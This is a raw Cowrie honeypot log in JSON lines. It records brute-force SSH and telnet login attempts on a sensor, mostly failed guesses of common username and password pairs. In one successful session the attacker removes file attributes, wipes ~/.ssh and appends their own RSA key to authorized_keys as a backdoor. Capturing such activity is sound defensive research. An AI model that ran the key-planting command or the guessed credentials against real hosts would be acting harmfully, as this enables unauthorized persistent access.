{"eventid":"cowrie.login.failed","username":"deploy","password":"qwerty","message":"login attempt [deploy/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:17.430833Z","src_ip":"103.146.202.174","session":"38a46b6c87d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:18.687818Z","src_ip":"103.146.202.174","session":"38a46b6c87d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":46570,"dst_ip":"10.17.0.5","dst_port":23,"session":"33b02ee31317","protocol":"telnet","message":"New connection: 20.123.41.163:46570 (10.17.0.5:23) [session: 33b02ee31317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:21.634843Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.106.188.32","src_port":57934,"dst_ip":"10.17.0.5","dst_port":22,"session":"b45db3b5411d","protocol":"ssh","message":"New connection: 103.106.188.32:57934 (10.17.0.5:22) [session: b45db3b5411d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:41.707933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:41.712447Z","src_ip":"103.106.188.32","session":"b45db3b5411d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:42.008601Z","src_ip":"103.106.188.32","session":"b45db3b5411d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"a","message":"login attempt [kafka/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:42.956928Z","src_ip":"103.106.188.32","session":"b45db3b5411d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:44.211172Z","src_ip":"103.106.188.32","session":"b45db3b5411d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.247.85.107","src_port":44678,"dst_ip":"159.203.135.109","dst_port":23,"session":"98758d782ee8","protocol":"telnet","message":"New connection: 186.247.85.107:44678 (159.203.135.109:23) [session: 98758d782ee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:48.201804Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":63618,"dst_ip":"10.17.0.5","dst_port":22,"session":"229c571158cf","protocol":"ssh","message":"New connection: 109.91.4.177:63618 (10.17.0.5:22) [session: 229c571158cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:57.504897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:57.508970Z","src_ip":"109.91.4.177","session":"229c571158cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:57.614026Z","src_ip":"109.91.4.177","session":"229c571158cf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"0r@cle","message":"login attempt [oracle/0r@cle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:58.448810Z","src_ip":"109.91.4.177","session":"229c571158cf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:58.688919Z","src_ip":"109.91.4.177","session":"229c571158cf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:58.691774Z","src_ip":"109.91.4.177","session":"229c571158cf","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:58.695020Z","src_ip":"109.91.4.177","session":"229c571158cf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:58.805630Z","src_ip":"109.91.4.177","session":"229c571158cf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:59.091564Z","src_ip":"109.91.4.177","session":"229c571158cf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:59.094604Z","src_ip":"109.91.4.177","session":"229c571158cf","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:59.205610Z","src_ip":"109.91.4.177","session":"229c571158cf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:59.209176Z","src_ip":"109.91.4.177","session":"229c571158cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":64800,"dst_ip":"10.17.0.5","dst_port":22,"session":"6404e661c62b","protocol":"ssh","message":"New connection: 109.91.4.177:64800 (10.17.0.5:22) [session: 6404e661c62b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:59.330814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:59.335731Z","src_ip":"109.91.4.177","session":"6404e661c62b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:59.443358Z","src_ip":"109.91.4.177","session":"6404e661c62b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:53:00.275411Z","src_ip":"109.91.4.177","session":"6404e661c62b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:53:01.383850Z","src_ip":"109.91.4.177","session":"6404e661c62b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":59858,"dst_ip":"10.17.0.5","dst_port":22,"session":"a967f90e33b5","protocol":"ssh","message":"New connection: 109.91.4.177:59858 (10.17.0.5:22) [session: a967f90e33b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:53:01.496197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:53:01.529710Z","src_ip":"109.91.4.177","session":"a967f90e33b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.398545503616333,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:53:01.600233Z","src_ip":"186.247.85.107","session":"98758d782ee8","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:53:01.639532Z","src_ip":"109.91.4.177","session":"a967f90e33b5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:53:02.390631Z","src_ip":"109.91.4.177","session":"a967f90e33b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:53:02.498485Z","src_ip":"109.91.4.177","session":"a967f90e33b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:53:02.506690Z","src_ip":"109.91.4.177","session":"229c571158cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":59278,"dst_ip":"10.17.0.5","dst_port":22,"session":"46349f107ad5","protocol":"ssh","message":"New connection: 103.146.202.174:59278 (10.17.0.5:22) [session: 46349f107ad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:53:12.517914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:53:12.522615Z","src_ip":"103.146.202.174","session":"46349f107ad5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:53:12.778511Z","src_ip":"103.146.202.174","session":"46349f107ad5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntulinux","message":"login attempt [root/ubuntulinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:53:13.832588Z","src_ip":"103.146.202.174","session":"46349f107ad5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":42948,"dst_ip":"10.17.0.5","dst_port":23,"session":"a225e095fe40","protocol":"telnet","message":"New connection: 20.123.41.163:42948 (10.17.0.5:23) [session: a225e095fe40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:53:14.324293Z"}
{"eventid":"cowrie.session.closed","duration":120.12961292266846,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:53:14.727646Z","src_ip":"20.123.41.163","session":"7ea7f7ebd2f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:53:15.090162Z","src_ip":"103.146.202.174","session":"46349f107ad5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.0242338180542,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:53:18.658961Z","src_ip":"20.123.41.163","session":"33b02ee31317","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.870425462722778,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:53:20.194530Z","src_ip":"20.123.41.163","session":"a225e095fe40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":52762,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7c7132735d7","protocol":"ssh","message":"New connection: 209.99.189.177:52762 (10.17.0.5:22) [session: a7c7132735d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:53:27.539188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:53:27.543223Z","src_ip":"209.99.189.177","session":"a7c7132735d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:53:27.669548Z","src_ip":"209.99.189.177","session":"a7c7132735d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"wwwphp","message":"login attempt [ubuntu/wwwphp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:53:28.208845Z","src_ip":"209.99.189.177","session":"a7c7132735d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:53:29.338298Z","src_ip":"209.99.189.177","session":"a7c7132735d7","protocol":"ssh"}
